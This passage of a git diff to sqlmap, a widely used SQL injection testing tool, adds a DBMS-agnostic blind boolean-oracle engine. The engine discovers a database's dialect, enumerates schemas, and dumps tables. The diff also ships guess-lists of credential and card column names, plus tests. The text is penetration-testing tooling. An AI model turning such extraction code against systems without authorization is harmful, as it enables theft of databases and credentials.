once + if "db" not in self._identCache: + expr = self._engine().dialect.identity.get("database") + if expr: + logger.info("fetching current database") + self._identCache["db"] = self._safeExtract(expr) if expr else None + kb.data.currentDb = self._identCache["db"] + return kb.data.currentDb + + def _safeExtract(self, expr): + try: + return self._esp.extract(expr) + except OracleUndecided: + logger.warning("Esperanto could not retrieve %s (oracle undecided)" % expr) + return None + + def isDba(self, user=None): + kb.data.isDba = False # no privilege claim the oracle cannot prove + return kb.data.isDba + + def getDbs(self): + logger.info("fetching database names") + kb.data.cachedDbs = self._engine().enumerate("database", limit=(conf.limitStop or 50)) or [] + return kb.data.cachedDbs + + def getTables(self, bruteForce=None): + # scope to the requested database (-D) or the current one, so the listing + # isn't polluted with every schema's tables (e.g. information_schema) + db = conf.db or self.getCurrentDb() + lim = conf.limitStop or 100 + names = self._engine().enumerate("table", limit=lim, schema=db) or [] + if not names and not conf.db and db != "public": + # current schema empty (PG-family: login-user schema) -> tables usually + # live in 'public'; broaden rather than report nothing + pub = self._engine().enumerate("table", limit=lim, schema="public") or [] + if pub: + names, db = pub, "public" + infoMsg = "fetching tables" + if db: + infoMsg += " for database '%s'" % db + logger.info(infoMsg) + kb.data.cachedTables = {db or "": names} + return kb.data.cachedTables + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + if not conf.tbl: + logger.error("Esperanto needs a table (-T) to enumerate columns") + return {} + db = self._scopeFor(conf.tbl) + infoMsg = "fetching columns for table '%s'" % conf.tbl + if db: + infoMsg += " in database '%s'" % db + logger.info(infoMsg) + names = self._engine().columns(conf.tbl, schema=db) or [] + self._colCache[(db, conf.tbl)] = names # let a following dump reuse these + kb.data.cachedColumns = {db or "": {conf.tbl: dict((n, None) for n in names)}} + return kb.data.cachedColumns + + def getSchema(self): + esp = self._engine() + db = self._scopeDb() + schema = {} + for table in (self.getTables().get(self._db()) or []): + schema[table] = dict((n, None) for n in (esp.columns(table, schema=db) or [])) + kb.data.cachedColumns = {self._db(): schema} + return kb.data.cachedColumns + + def dumpTable(self, foundData=None): + if not conf.tbl: + logger.error("Esperanto needs a table (-T) to dump") + return + db = self._scopeFor(conf.tbl) + cols = [c.strip() for c in conf.col.split(",")] if conf.col else None + if cols is None: + cols = self._colCache.get((db, conf.tbl)) # reuse --columns' result; don't re-walk + infoMsg = "fetching entries" + if cols: + infoMsg += " of column(s) '%s'" % ", ".join(cols) + infoMsg += " for table '%s'" % conf.tbl + if db: + infoMsg += " in database '%s'" % db + logger.info(infoMsg) + result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=(conf.limitStop or 10)) + if not result or not result["columns"]: + logger.error("Esperanto could not dump table '%s'" % conf.tbl) + return + table_data = {} + for i, name in enumerate(result["columns"]): + values = [("NULL" if row[i] is None else row[i]) for row in result["rows"]] + width = max([len(name)] + [len(v) for v in values]) if values else len(name) + table_data[name] = {"length": width, "values": values} + table_data["__infos__"] = {"count": len(result["rows"]), "table": conf.tbl, "db": self._db()} + if not result["complete"]: + logger.warning("Esperanto dump of '%s' may be incomplete" % conf.tbl) + kb.data.dumpedTable = table_data + conf.dumper.dbTableValues(kb.data.dumpedTable) + + return _EsperantoHandler() diff --git a/extra/esperanto/oracle.py b/extra/esperanto/oracle.py new file mode 100644 index 00000000000..e31da724d0a --- /dev/null +++ b/extra/esperanto/oracle.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from contextlib import contextmanager + +from .records import OracleUndecided +from .records import QueryBudgetExceeded + + +class _OracleCore(object): + """_OracleCore + + the boolean-oracle contract + tiny SQL formatters (nothing dialect-specific).""" + + @contextmanager + def _probePhase(self): + # mark a candidate-rung laddering section (discovery or lazy _ensure*): while + # active, a host oracle may safely read an undecidable probe as False ("this + # rung is unusable"), whereas outside it an undecidable READ must stay undecided + prev = self._probing + self._probing = True + try: + yield + finally: + self._probing = prev + + def _emit(self, value): + if self._progress and value not in (None, ""): + try: + self._progress(value) + except Exception: + pass + + def _probe(self, condition): + # ONE tri-state evaluation: True / False / None(persistent error). a raised + # oracle is retried (transient) before being reported as an error - a + # wrong-dialect probe legitimately errors, but a flaky connection must not + # be allowed to read as a definitive False. counts every actual oracle call. + for _ in range(self.retries + 1): + if self.max_queries is not None and self._queries >= self.max_queries: + raise QueryBudgetExceeded("oracle query budget exhausted at %d calls" % self._queries) + self._queries += 1 + try: + observed = self.oracle(condition) + except Exception: + continue + # STRICT: only a real bool is an observation. None/0/''/other must not be + # coerced to False (that silently corrupts bisection) - treat as undecided. + if observed is True or observed is False: + return observed + return None + + def _ask(self, condition): + # decided boolean, or raise OracleUndecided - NEVER manufacture False from an + # unobservable probe (that would silently corrupt blind bisection). the oracle + # must itself return False for unsupported/rejected SQL; a raised probe means + # "could not observe" and, absent a quorum, is fatal. + if self.quorum <= 1: + r = self._probe(condition) + if self.verbose: + print(" [%s] %s" % ("T" if r else ("E" if r is None else "f"), condition)) + if r is None: + # while laddering CANDIDATE rungs an undecidable/erroring probe (oracle + # returned None OR raised - both surface here as None) means "this rung is + # unusable", so read it as False and let the ladder move on; only OUTSIDE + # probing (reading committed data) is it fatal, so a flaky read never + # silently coerces to a definite bit + if self._probing: + return False + self._errors += 1 + raise OracleUndecided("oracle could not decide: %s" % condition) + return r + + samples = 2 * self.quorum - 1 + yes = no = tries = 0 + while (yes + no) < samples and tries < samples + self.quorum + 2: + tries += 1 + r = self._probe(condition) + if r is None: + self._errors += 1 + continue + yes, no = (yes + 1, no) if r else (yes, no + 1) + if yes >= self.quorum or no >= self.quorum: + break + if self.verbose: + state = "T" if yes >= self.quorum else ("f" if no >= self.quorum else "E") + print(" [%s %d:%d] %s" % (state, yes, no, condition)) + if yes >= self.quorum: + return True + if no >= self.quorum: + return False + if self._probing: # candidate rung the vote couldn't settle -> unusable, not fatal + return False + raise OracleUndecided("oracle vote undecided: %s (%d true / %d false)" % (condition, yes, no)) + + def _sub(self, expr, pos, length): + # pos is always passed 1-based; adjust for a 0-based dialect if discovered + p = pos if self.dialect.substring.get("index_base", 1) == 1 else pos - 1 + return self.dialect.substring[1].format(expr=expr, pos=p, len=length) + + def _len(self, expr): + return self.dialect.length[1].format(expr=expr) + + def _sanity(self): + return self._ask("1=1") and not self._ask("1=2") and \ + self._ask("'a'='a'") and not self._ask("'a'='b'") + + def _exists(self, source, column="1"): + # does `source` (a table/catalog) - and optionally `column` in it - resolve? + # WITHOUT COUNT (which a WAF may filter): a scalar subquery over it is NULL when + # it resolves (WHERE 1=0 -> 0 rows) and ERRORS -> False when it doesn't. Works + # for empty tables too. `column` is passed BARE so a nonexistent one errors, + # rather than being taken as a string literal (SQLite quirk) and passing every + # fake name. + return self._ask("(SELECT %s FROM %s WHERE 1=0) IS NULL" % (column, source)) diff --git a/extra/esperanto/records.py b/extra/esperanto/records.py new file mode 100644 index 00000000000..67733e70f4f --- /dev/null +++ b/extra/esperanto/records.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +class OracleUndecided(RuntimeError): + """The oracle gave no reliable True/False after retries/voting - a transport or + observation failure, NOT a definitive answer. Raised so blind extraction fails + CLOSED instead of converging on plausible-but-wrong data from a manufactured + False. (A wrong-dialect/unsupported probe must be reported as False by the + oracle itself; exceptions are reserved for 'could not observe'.)""" + + +class Cap(object): + """A discovered primitive: (name, template) PLUS measured semantic properties. + Indexable like the old (name, template) tuple so existing call sites keep working + (`cap[0]`, `cap[1]`), with `cap.props` / `cap.get(key)` for the measured facts - + e.g. length unit=characters|bytes, substring index_base, charcode semantics.""" + __slots__ = ("name", "template", "props") + + def __init__(self, name, template, **props): + self.name, self.template, self.props = name, template, props + + def __getitem__(self, i): + return (self.name, self.template)[i] + + def get(self, key, default=None): + return self.props.get(key, default) + + def __repr__(self): + extra = (" " + " ".join("%s=%s" % kv for kv in sorted(self.props.items()))) if self.props else "" + return "%s(%s)" % (self.name, extra.strip() or self.template) + + +class ExtractResult(object): + """Structured extraction outcome - keeps NULL, empty, truncated and failed + distinct (str-like so `str(r)`/truthiness still read naturally).""" + __slots__ = ("value", "is_null", "complete", "truncated", "queries", "warnings") + + def __init__(self, value, is_null=False, complete=True, truncated=False, queries=0, warnings=None): + self.value = value + self.is_null = is_null + self.complete = complete + self.truncated = truncated + self.queries = queries + self.warnings = warnings or [] + + def __str__(self): + return "" if self.value is None else self.value + + def __bool__(self): + return bool(self.value) + + __nonzero__ = __bool__ # py2 + + def __repr__(self): + return ("ExtractResult(value=%r null=%s complete=%s truncated=%s q=%d%s)" + % (self.value, self.is_null, self.complete, self.truncated, self.queries, + " warnings=%r" % self.warnings if self.warnings else "")) + + +class BulkResult(object): + """List-like bulk-enumeration outcome that also reports completeness against an + independent COUNT (so a truncated dump is visible, not silently short).""" + __slots__ = ("values", "expected", "complete") + + def __init__(self, values, expected=None, complete=True): + self.values = values + self.expected = expected + self.complete = complete + + def __iter__(self): + return iter(self.values) + + def __len__(self): + return len(self.values) + + def __getitem__(self, i): + return self.values[i] + + def __repr__(self): + return "%r%s" % (self.values, "" if self.complete else " (incomplete: %s of %s)" % (len(self.values), self.expected)) + + +class Dialect(object): + """Discovered target profile - the synthesized 'queries.xml row'.""" + + __slots__ = ("concat", "substring", "length", "bytelen", "textcast", + "coalesce", "charcode", "charfrom", "hexfn", "binwrap", + "bulkAgg", "dual", "identQuote", "prefix", "compare", "ordered", + "identity", "catalog", "catalogEnum", "family", "product", + "version", "evidence", "notes") + + def __init__(self): + self.identQuote = None # (open, close) identifier-quote chars, or None + self.prefix = None # (op, multi, single) LIKE/GLOB fallback, or None + self.concat = None # (name, template) + self.substring = None + self.length = None + self.bytelen = None # (name, template) byte length (vs char length) + self.textcast = None # (name, template) scalar -> text + self.coalesce = None # (name, template) NULL guard + self.charcode = None # None -> no code fn (direct-compare mode) + self.charfrom = None + self.hexfn = None # (name, template) for hex/byte extraction + self.binwrap = None # (name, template) byte-ordered comparison wrapper + self.bulkAgg = None # (name, template) row-aggregation for bulk enum + self.dual = None # (name, from-suffix) tableless-SELECT skeleton + self.compare = None # 'code' | 'collation' | 'hex' | 'ordinal' | 'equality' | 'equality-ci' + self.ordered = False # 'b' > 'a' holds (lexicographic bisection ok) + self.identity = {} + self.catalog = None + self.catalogEnum = {} # {kind: (name_col, source, filter)} + self.family = None # from the catalog probe + self.product = None # best-guess product (the detective verdict) + self.version = None # extracted banner string + self.evidence = [] # [(signal, implication), ...] + self.notes = [] + + def __repr__(self): + pick = lambda x: x[0] if x else None + return ("Dialect(concat=%r substring=%r length=%r compare=%r dual=%r " + "catalog=%r product=%r)" % ( + pick(self.concat), pick(self.substring), pick(self.length), + self.compare, pick(self.dual), self.catalog, + self.product or self.family)) + + +class InferenceStrategy(object): + """An immutable, host-consumable rendering of a discovered dialect. + + This is the crystallization esperanto is really for: the discovery half produces + ONE frozen strategy, and a host inference engine (ideally sqlmap's existing + bisection - which already owns threading, hashDB resume, prediction, and the + known-answer reliability litmus) drives the loop by calling these PURE render_* + methods. No oracle here, no retrieval loop - just SQL construction from the + discovered primitives. Frozen after construction so worker threads can share it. + + The reference host loop `hostExtract()` below proves this interface is + *sufficient*: it extracts data using ONLY a strategy + an oracle, with no + dependency on Esperanto's own retrieval code. + """ + + _FIELDS = ("product", "family", "compare_mode", "catalog", "dual", "notes", + "substring", "index_base", "length", "charcode", "charcode_sem", + "hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash") + + def __init__(self, **kw): + for f in self._FIELDS: + object.__setattr__(self, f, kw.get(f)) + object.__setattr__(self, "_frozen", True) + + def __setattr__(self, *a): # immutable + raise AttributeError("InferenceStrategy is frozen") + + # -- pure SQL construction (no oracle) ---------------------------------- + def substr(self, expr, pos, length=1): + p = pos if self.index_base == 1 else pos - 1 + return self.substring.format(expr=expr, pos=p, len=length) + + def renderLength(self, expr): + return self.length.format(expr=expr) + + def renderIsNull(self, expr): + return "(%s) IS NULL" % expr + + def renderHex(self, expr): + return self.hexfn.format(expr=expr) if self.hexfn else None + + def renderCode(self, expr, pos): + # scalar code point of the char at pos (None unless a code fn was found) + return self.charcode.format(expr=self.substr(expr, pos)) if self.charcode else None + + def renderCharCmp(self, expr, pos, ch, op=">"): + # boolean: char at pos literal ch, byte-ordered when a binary wrapper + # is available (else the target's own collation) + one = self.substr(expr, pos) + if self.binwrap: + return "%s%s%s" % (self.binwrap.format(x=one), op, self.binwrap.format(x=self.lit(ch))) + return "%s%s%s" % (one, op, self.lit(ch)) + + def renderExactEq(self, left, right): + # whole-value byte-exact equality (hex > binary wrapper > plain) + if self.hexfn: + return "(%s)=(%s)" % (self.hexfn.format(expr=left), self.hexfn.format(expr=right)) + if self.binwrap: + return "(%s)=(%s)" % (self.binwrap.format(x=left), self.binwrap.format(x=right)) + return "(%s)=(%s)" % (left, right) + + def lit(self, value): + s = value.replace("\\", "\\\\") if self.backslash else value + return "'%s'" % s.replace("'", "''") + + def buildLiteral(self, value): + if value and self.charfrom and self.concat and all(0 < ord(c) < 128 for c in value): + parts = [self.charfrom.format(code=ord(c)) for c in value] + out = parts[0] + for p in parts[1:]: + out = self.concat.format(a=out, b=p) + return out + return self.lit(value) + + def quoteIdent(self, name): + if not self.identquote: + return name + o, c = self.identquote + return "%s%s%s" % (o, name.replace(c, c * 2), c) + + def asQueriesRow(self): + """The sqlmap queries.xml-shaped mapping - the concrete integration hook. + These four templates are what sqlmap's inference/error/union machinery reads + from queries[Backend.getIdentifiedDbms()].""" + return { + "length": self.length, + "substring": self.substring, + "inference": ("%s>%%d" % self.charcode.format(expr=self.substr("%s", "%d"))) + if self.charcode else None, + "case": "SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)" + self.dual, + "hex": self.hexfn, + } + + def __repr__(self): + return "InferenceStrategy(product=%r compare=%r catalog=%r)" % ( + self.product, self.compare_mode, self.catalog) + + +class QueryBudgetExceeded(OracleUndecided): + """The configured hard oracle-call budget was exhausted mid-operation.""" diff --git a/extra/esperanto/run.py b/extra/esperanto/run.py new file mode 100644 index 00000000000..c91ee08a0d1 --- /dev/null +++ b/extra/esperanto/run.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Standalone launcher for the DBMS-agnostic Esperanto engine. Run it straight from this +directory - no sqlmap, no PYTHONPATH, no `-m` incantation: + + python run.py -u 'http://host/vuln?id=1*' --string --tables --dump -T users + python run.py --self-test + python run.py --live # local DBMS dev harness + +The package is fully self-contained (bundled wordlists, no sqlmap imports in the engine), +so the whole directory can be copied elsewhere and still run. sqlmap uses the very same +package via `from extra.esperanto import buildHandler`, handing the engine its own boolean +oracle (checkBooleanExpression); this launcher is only for standalone use. +""" + +import importlib +import os +import sys + +# make this package importable by its own (folder) name from any working directory, so +# the relative imports inside resolve, then hand off to the CLI in __main__ +_HERE = os.path.dirname(os.path.abspath(__file__)) +sys.path.insert(0, os.path.dirname(_HERE)) +main = importlib.import_module("%s.__main__" % os.path.basename(_HERE)).main + +if __name__ == "__main__": + sys.exit(main()) diff --git a/extra/esperanto/wordlist.py b/extra/esperanto/wordlist.py new file mode 100644 index 00000000000..37845cfecfa --- /dev/null +++ b/extra/esperanto/wordlist.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Common table/column names for the brute-force fallback used when the system catalog +is unreadable or unknown (permission wall, exotic/Frankenstein engine, CTF). This is +the "know nothing about the schema, guess the usual names" path - the equivalent of +sqlmap's --common-tables / --common-columns. sqlmap's own (much larger) wordlists are +preferred when this package runs inside the repo; the bundled curated lists below are +the self-contained fallback so the standalone CLI works with no external files. +""" + +import os + + +# curated, most-common first; kept deliberately small so brute-forcing stays practical +# over a slow blind oracle (sqlmap's full lists are used instead when available) +_BUNDLED_TABLES = ( + "users", "user", "admin", "administrator", "accounts", "account", "members", + "member", "customers", "customer", "clients", "client", "people", "persons", + "employees", "staff", "contacts", "profiles", "profile", "sessions", "session", + "orders", "order", "products", "product", "items", "item", "categories", + "category", "cart", "carts", "invoices", "payments", "transactions", "coupons", + "rates", "reviews", "ratings", "inventory", "stock", "shipping", "posts", "post", + "articles", "pages", "page", "comments", "messages", "message", "news", "blog", + "blogs", "tags", "notifications", "subscriptions", "feedback", "files", "file", + "uploads", "images", "documents", "media", "config", "configuration", "settings", + "setting", "options", "preferences", "roles", "role", "permissions", "groups", + "group", "tokens", "token", "secrets", "secret", "credentials", "passwords", + "keys", "apikeys", "api_keys", "cards", "creditcards", "credit_cards", "logs", + "log", "events", "event", "audit", "audit_log", "history", "activity", "data", + "records", "metadata", "backup", "backups", "temp", "tmp", "test", "flags", +) + + +_BUNDLED_COLUMNS = ( + "id", "uid", "user_id", "userid", "guid", "name", "username", "uname", "user", + "login", "handle", "nick", "nickname", "pass", "passwd", "password", "pwd", + "pass_hash", "password_hash", "hash", "salt", "email", "mail", "e_mail", + "first_name", "firstname", "fname", "last_name", "lastname", "lname", "fullname", + "full_name", "surname", "display_name", "phone", "mobile", "tel", "address", + "addr", "street", "city", "country", "state", "zip", "zipcode", "postcode", + "dob", "birthdate", "age", "gender", "sex", "role", "roles", "is_admin", "admin", + "level", "active", "is_active", "enabled", "disabled", "banned", "status", + "verified", "created", "created_at", "created_on", "updated", "updated_at", + "modified", "deleted", "deleted_at", "last_login", "timestamp", "date", "time", + "token", "api_key", "apikey", "session", "secret", "key", "value", "data", + "content", "body", "text", "title", "subject", "description", "comment", "note", + "notes", "message", "url", "link", "ip", "ip_address", "useragent", "referer", + "cc", "card", "creditcard", "credit_card", "card_number", "cvv", "cvc", "expiry", + "amount", "price", "cost", "total", "balance", "quantity", "qty", "count", "code", + "type", "category", "tag", "slug", "flag", "flags", "extra", "meta", "settings", +) + + +def _fromFile(fname): + # sqlmap's own wordlist when this runs inside the repo (data/txt/). + # located relative to this file: extra/esperanto/ -> ../../data/txt/ + path = os.path.join(os.path.dirname(__file__), "..", "..", "data", "txt", fname) + try: + with open(path) as fh: + names = [line.strip() for line in fh if line.strip() and not line.startswith("#")] + return names or None + except (IOError, OSError): + return None + + +def commonTables(): + """Candidate table names, most-common first. sqlmap's list if present, else bundled.""" + return _fromFile("common-tables.txt") or list(_BUNDLED_TABLES) + + +def commonColumns(): + """Candidate column names, most-common first. sqlmap's list if present, else bundled.""" + return _fromFile("common-columns.txt") or list(_BUNDLED_COLUMNS) diff --git a/lib/controller/action.py b/lib/controller/action.py index cb38e91ce4a..3e4b34e3ff7 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -77,7 +77,7 @@ def action(): kb.tamperFunctions = (kb.tamperFunctions or []) + [function] logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS") - if not Backend.getDbms() or not conf.dbmsHandler: + if (not Backend.getDbms() and not conf.esperanto) or not conf.dbmsHandler: htmlParsed = Format.getErrorParsedDBMSes() errMsg = "sqlmap was not able to fingerprint the " diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 744415e128f..4d2e7a6d947 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -10,6 +10,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb +from lib.core.data import logger from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS from lib.core.dicts import DBWIRE_MODULES @@ -86,6 +87,15 @@ def setHandler(): management system. """ + if conf.esperanto: + # force the DBMS-agnostic engine: skip per-DBMS fingerprinting entirely and + # let the boolean-oracle 'esperanto' handler drive enumeration. + from extra.esperanto import buildHandler + conf.dbmsHandler = buildHandler() + conf.dbmsHandler._dbms = "Esperanto" + logger.info("using the DBMS-agnostic 'Esperanto' engine (fingerprinting skipped)") + return + items = [ (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"), (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"), diff --git a/lib/core/convert.py b/lib/core/convert.py index 95b29622d17..a925bba6701 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -76,10 +76,16 @@ def _serializeEncode(value): # string that would round-trip as 'unicode') keeps the exact byte type across versions if isinstance(value, (six.binary_type, bytearray)): raw = bytes(value) if isinstance(value, bytearray) else value - return {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0} + retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0} + if six.PY3: # mark genuine Python 3 bytes so restore keeps them bytes; a + retVal["pv"] = 3 # Python 2 'str' (text) is unmarked and recovered as text (see decode) + return retVal if isinstance(value, memoryview): - return {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0} + retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0} + if six.PY3: + retVal["pv"] = 3 + return retVal try: if isinstance(value, buffer): # noqa: F821 # Python 2 only @@ -171,7 +177,19 @@ def _serializeDecode(struct): if tag == "b": raw = decodeBase64(struct["v"], binary=True) - return bytearray(raw) if struct.get("a") else raw + if struct.get("a"): + return bytearray(raw) + # Genuine Python 3 bytes (pv==3) are kept as-is. A value WITHOUT the marker was + # written by Python 2, whose text-'str' goes through this bytes branch; on Python 3 + # that would surface as 'bytes' and break str consumers - most visibly kb.chars, + # whose str-key lookups then return None and crash cleanupPayload(). Recover such + # cross-version TEXT by decoding valid UTF-8 to 'str'; real binary stays bytes. + if struct.get("pv") == 3 or not six.PY3: + return raw + try: + return raw.decode("utf-8") + except UnicodeDecodeError: + return raw elif tag == "t": return tuple(_serializeDecode(_) for _ in struct["v"]) elif tag == "f": diff --git a/lib/core/settings.py b/lib/core/settings.py index d8ecf9de5b4..66afa859a62 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.105" +VERSION = "1.10.7.110" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index c983ebdc66e..37f20aef01b 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -97,6 +97,7 @@ def vulnTest(tests=None, label="vuln"): ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction + ("-u --flush-session --esperanto --technique=B --banner", ("using the DBMS-agnostic 'Esperanto' engine", "Esperanto dialect verdict: SQLite", "banner: '3.")), # Esperanto: DBMS-agnostic boolean-oracle engine drives --banner end-to-end through the real sqlmap handler (fingerprinting skipped, dialect discovered from scratch, banner blind-extracted) ("-u \"xxe\" --data=\"x\" --xxe --file-read=\"%s\" --flush-session" % vulnserver.XXE_READ_FILE, ("the XML body processes DTD/internal entities", "in-band XXE file-read impact confirmed", "Type: XXE injection", "XXE scan complete")), # XXE: in-band internal-entity reflection (real libxml2/lxml parser) + external file:// entity file read ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c30520f6a06..bc838a88dc5 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -355,6 +355,9 @@ def cmdLineParser(argv=None): injection.add_argument("--dbms-cred", dest="dbmsCred", help="DBMS authentication credentials (user:password)") + injection.add_argument("--esperanto", dest="esperanto", action="store_true", + help="Use the DBMS-agnostic enumeration engine") + injection.add_argument("--os", dest="os", help="Force back-end DBMS operating system to provided value") diff --git a/lib/request/inject.py b/lib/request/inject.py index 8948a07cc6d..9389480ffd1 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -633,9 +633,10 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion if expected == EXPECTED.BOOL: - # Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') + # Note: some DBMSes (e.g. Altibase, SQL Server) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') - if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")): + # skip only when already CASE-wrapped or a bare scalar SELECT value (cf. the startswith check above); a boolean predicate that merely EMBEDS a subquery (e.g. '(SELECT ...) IS NULL', common when the DBMS is unidentified and forgeCaseStatement() is a no-op) still needs wrapping for concatenation safety + if "CASE" not in forgeCaseExpression and not forgeCaseExpression.startswith("SELECT "): forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression try: diff --git a/sqlmap.py b/sqlmap.py index 7a4df6b91bd..a969636fd04 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -134,6 +134,22 @@ def checkEnvironment(): logger.critical(errMsg) raise SystemExit + # Check for being run from inside a third-party repackage bundling sqlmap for resale + _ = modulePath() + repackaged = "sqlbox" in _.lower() + while not repackaged and os.path.dirname(_) != _: + if os.path.basename(_) == "XDATA" and all(os.path.isdir(os.path.join(_, __)) for __ in ("_tools", "_DB")): + repackaged = True + _ = os.path.dirname(_) + + if repackaged: + errMsg = "this sqlmap instance appears to be running from inside a third-party " + errMsg += "repackage. sqlmap is free and open source under the GPL (https://sqlmap.org). " + errMsg += "embedding it into proprietary or paid software requires a separate commercial " + errMsg += "license (sales@sqlmap.org)" + logger.critical(errMsg) + raise SystemExit + # Patch for pip (import) environment if "sqlmap.sqlmap" in sys.modules: for _ in ("cmdLineOptions", "conf", "kb"): diff --git a/tests/test_esperanto.py b/tests/test_esperanto.py new file mode 100644 index 00000000000..fcb797ccfe8 --- /dev/null +++ b/tests/test_esperanto.py @@ -0,0 +1,664 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Regression suite for the DBMS-agnostic engine (extra/esperanto/), in two parts: + +1. Semantic corpus - round-trips awkward values through an in-memory SQLite boolean + oracle and asserts the correctness invariants the engine must never break: no silent + character substitution or deletion, length never exceeds maxlen (over-length is + flagged), limit=0 is an incomplete empty prefix, NULL stays distinct from '', + truncation sets complete=False, bytes-first extraction is byte-exact, and the + capability fallbacks (pattern-match floor, length-from-substring, LEFT/RIGHT + composition) and the frozen InferenceStrategy hand-off all still extract. + +2. Adversarial dialect scenarios - an intermediate oracle disguises the same SQLite as + a different / hostile back-end by BLOCKING the SQL forms the fake engine lacks and + REWRITING its forms into the SQLite equivalent, so the engine must discover and adapt + the dialect it is handed (substring=SUBSTRING, length=LEN, charcode=ASCII, + concat=CONCAT, no usable '>'/BETWEEN, no readable catalog) rather than only working + on dialects it already knows. + +stdlib unittest only; Python 2.7 and 3.x. +""" + +import os +import re +import sqlite3 +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from extra.esperanto import Cap +from extra.esperanto import Esperanto +from extra.esperanto import hostExtract + +EXPR = "(SELECT v FROM t)" + +# awkward values (NULL handled separately - it is not a string value) +CORPUS = [ + u"", u"A", u"AB", u"A ", u" leading", u"trailing ", u"two spaces", + u"O'Reilly", u'double"quote', u"comma,value", u"back\\slash", + u"line\nbreak", u"\t", u"é", u"€", u"中文", + u"\U00010348", u"Aé€\U00010348Z", +] + + +def _oracle(value=None, is_null=False): + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES (?)", (None if is_null else value,)) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + return ask + + +# -- adversarial dialect scenarios: one SQLite disguised as many hostile back-ends ----- + +# ground truth seeded into every disguised scenario +_SEED = ( + "CREATE TABLE users (id INTEGER, name TEXT, email TEXT)", + "INSERT INTO users VALUES (1,'luther','a@b.c'),(2,'admin','p@w.n'),(3,'wu',NULL)", +) +_SECRET_EXPR = "(SELECT name FROM users WHERE id=2)" # -> 'admin' + + +def 